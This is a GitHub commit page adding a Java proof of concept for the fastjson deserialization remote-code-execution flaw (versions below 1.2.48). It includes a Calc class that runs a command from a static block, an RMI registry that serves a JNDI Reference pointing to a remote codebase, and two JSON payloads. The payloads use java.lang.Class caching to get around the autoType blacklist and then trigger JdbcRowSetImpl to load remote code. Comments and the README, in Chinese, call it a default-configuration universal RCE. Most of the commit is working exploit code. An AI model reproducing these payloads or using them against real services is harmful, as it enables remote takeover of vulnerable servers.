Skip to content

Commit 5a87b38

Browse files
author
xuanyh
committed
增加fastjson 1.2.47及以下通杀payload的学习demo(<1.2.48)
1 parent 2efd068 commit 5a87b38

File tree

5 files changed

+69
-4
lines changed

5 files changed

+69
-4
lines changed

README.md

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,3 @@
1-
1. \learnjavabug\src\main\java\com\xyh\collections3\no1
2-
2. \learnjavabug\src\main\java\com\xyh\collections3\no2
3-
3. \learnjavabug\src\main\java\com\xyh\fastjson
1+
### fastjson poc
2+
1. com.xyh.fastjson.FastjsonSerialize 利用条件:fastjson <= 1.2.24 + Feature.SupportNonPublicField
3+
2. com.xyh.fastjson.NoNeedAutoTypePoc 利用条件:fastjson < 1.2.48 不需要任何配置,默认配置通杀RCE

src/main/java/Calc.java

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
/**
2+
* @author xuanyh
3+
*/
4+
public class Calc {
5+
static {
6+
try {
7+
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
8+
} catch (Throwable e) {
9+
e.printStackTrace();
10+
}
11+
}
12+
13+
public static void main(String[] args) {
14+
15+
}
16+
}

src/main/java/com/xyh/fastjson/FastjsonSerialize.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66
import sun.misc.BASE64Encoder;
77

88
/**
9-
* 利用fastjson开启type的漏洞
9+
* 利用fastjson开启type的漏洞,fastjson版本<=1.2.24 + Feature.SupportNonPublicField
1010
*
1111
* Created by xuanyonghao on 2018/5/5.
1212
*/
Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
package com.xyh.fastjson;
2+
3+
import com.alibaba.fastjson.JSON;
4+
import com.sun.jndi.rmi.registry.ReferenceWrapper;
5+
import java.rmi.AlreadyBoundException;
6+
import java.rmi.RemoteException;
7+
import java.rmi.registry.LocateRegistry;
8+
import java.rmi.registry.Registry;
9+
import javax.naming.NamingException;
10+
import javax.naming.Reference;
11+
12+
/**
13+
* fastjson 1.2.48以下不需要任何配置,默认配置通杀RCE
14+
* @author xuanyh
15+
*/
16+
public class NoNeedAutoTypePoc {
17+
18+
static {
19+
//rmi server示例
20+
try {
21+
Registry registry = LocateRegistry.createRegistry(43657);
22+
//TODO 把resources下的Calc.class拷贝到下面代码所示http://host:port的web服务器根目录即可
23+
Reference reference = new Reference("Calc","Calc","http://localhost/");
24+
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
25+
registry.bind("Calc",referenceWrapper);
26+
} catch (RemoteException e) {
27+
e.printStackTrace();
28+
} catch (AlreadyBoundException e) {
29+
e.printStackTrace();
30+
} catch (NamingException e) {
31+
e.printStackTrace();
32+
}
33+
}
34+
35+
public static void main(String[] args) {
36+
//jdk版本高的需要开启URLCodebase trust
37+
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
38+
39+
/*
40+
* TODO 该payload需要先通过java.lang.Class把com.sun.rowset.JdbcRowSetImpl加载进fastjson缓存,然后利用
41+
* TODO checkAutoType方法的缺陷(先通过缓存查询,有则立马返回,否则检查黑名单hash)绕过黑名单和autoType的检查
42+
*/
43+
String payload = "{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}";
44+
String payload2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:43657/Calc\",\"autoCommit\":true}";
45+
JSON.parse(payload);
46+
JSON.parse(payload2);
47+
//所以,该payload需要分两步进行
48+
}
49+
}

src/main/resources/Calc.class

648 Bytes
Binary file not shown.

0 commit comments

Comments
 (0)